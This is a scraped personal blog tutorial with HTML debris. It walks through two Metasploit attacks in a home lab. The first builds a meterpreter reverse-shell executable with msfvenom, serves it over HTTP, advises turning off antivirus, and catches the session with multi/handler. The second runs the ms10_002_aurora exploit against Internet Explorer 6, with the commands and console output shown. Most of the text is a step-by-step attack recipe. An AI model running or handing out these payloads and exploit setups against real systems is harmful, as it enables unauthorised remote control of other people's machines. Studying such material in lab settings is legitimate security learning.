Now its time to play with Metasploit. I don't go into too much detail, I just\ntry it out and present the results.<\/p>\n
The Basics<\/h2>\n
There are a lot of tools to have fun with security. We are going to use\nMetasploit. I think you can install it on your system, but I work with Kali for\nany security task I have. By the way I run Kali on\nVirtualbox<\/a>.\nWhat I also use for my vulnerable targets.<\/p>\n The basic steps for exploiting a system are:<\/p>\n You can create an executable file, that will connect to your device. Almost any\nsecurity scanner will detect this file. But anyway let us use this for the first\ntry. You may need to turn off your virus program. As you can see in the video,\nWindows also detects and deletes this file, even though I had switched off\nWindows Defender. This is the finale result, all commands below the video:<\/p>\n First we create the execute file:<\/p>\n Run web server with python to copy the file to the target:<\/p>\n Now you can download the file on the target. Before we execute it, we have to\nsetup Metasploit. Open Metasploit<\/p>\n and set it up:<\/p>\n Now execute the file on the target device.<\/p>\n<\/div>\n You see from the example before: If your system is up to date, it's hard to\nexecute an existing exploit. Now we will use something old, and slowly -\nInternet Explorer 6. Yes the old on from Windows XP.<\/p>\n This is also a more realistic example. There is a program with a critical\nsecurity problem. If the user is interacting with the wrong data, you can take\nover the system. For this exploit: Take the Internet Explorer 6 and visit the\nwrong url.<\/p>\n This is how it looks, the commands are under the video:<\/p>\n Start Metasploit<\/p>\n and set it up:<\/p>\n\n
\n
\n
\n
\n
\n
\n
Example 0x01 - Revers Shell<\/h2>\n
![\"alternate](\"https:\/\/axju.de\/images\/articels\/security\/metasploit-001.gif\")
\n<\/span>$ msfvenom -p windows\/meterpreter\/reverse_tcp LHOST<\/span>=<\/span>192<\/span>.168.178.41 LPORT<\/span>=<\/span>5555<\/span> -f exe > shell.exe\n<\/pre><\/div>\n<\/span>$ python3 -m http.server\n<\/pre><\/div>\n<\/span>$ msfconsole\n<\/pre><\/div>\n<\/span>msf6 > use exploit\/multi\/handler\nmsf6 exploit(<\/span>multi\/handler)<\/span> > set<\/span> PAYLOAD windows\/meterpreter\/reverse_tcp\nPAYLOAD<\/span> =<\/span>> windows\/meterpreter\/reverse_tcp\nmsf6 exploit(<\/span>multi\/handler)<\/span> > set<\/span> LHOST 192<\/span>.168.178.41\nLHOST<\/span> =<\/span>> 192<\/span>.168.178.41\nmsf6 exploit(<\/span>multi\/handler)<\/span> > set<\/span> LPORT 5555<\/span>\nLPORT<\/span> =<\/span>> 5555<\/span>\nmsf6 exploit(<\/span>multi\/handler)<\/span> > run\n<\/pre><\/div>\nExample 0x02 - Internet Explorer 6<\/h2>\n
![\"alternate](\"https:\/\/axju.de\/images\/articels\/security\/metasploit-002.gif\")
\n<\/span>$ msfconsole\n<\/pre><\/div>\n<\/span>msf6 > use exploit\/windows\/browser\/ms10_002_aurora\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> > set<\/span> PAYLOAD windows\/meterpreter\/reverse_tcp\nPAYLOAD<\/span> =<\/span>> windows\/meterpreter\/reverse_tcp\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> > set<\/span> LHOST 192<\/span>.168.178.41\nLHOST<\/span> =<\/span>> 192<\/span>.168.178.41\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> > set<\/span> LPORT 5555<\/span>\nLPORT<\/span> =<\/span>> 5555<\/span>\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> > set<\/span> SRVHOST 192<\/span>.168.178.41\nSRVHOST<\/span> =<\/span>> 192<\/span>.168.178.41\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> > set<\/span> SRVPORT 80<\/span>\nSRVPORT<\/span> =<\/span>> 80<\/span>\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> > set<\/span> URIPATH \/\nURIPATH<\/span> =<\/span>> \/\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> > exploit\n[<\/span>*]<\/span> Exploit running as background job 0<\/span>.\n[<\/span>*]<\/span> Exploit completed, but no session was created.\nmsf6 exploit(<\/span>windows\/browser\/ms10_002_aurora)<\/span> >\n[<\/span>*]<\/span> Started reverse TCP handler on 192<\/span>.168.178.41:5555\n[<\/span>*]<\/span> Using URL: http:\/\/192.168.178.41:80\/\n[<\/span>*]<\/span> Server started.\n<\/pre><\/div>\n
![\"alternate](\"https:\/\/axju.de\/images\/articels\/security\/metasploit-003.gif\")
\n![\"alternate](\"https:\/\/axju.de\/images\/articels\/security\/metasploit-004.gif\")
\n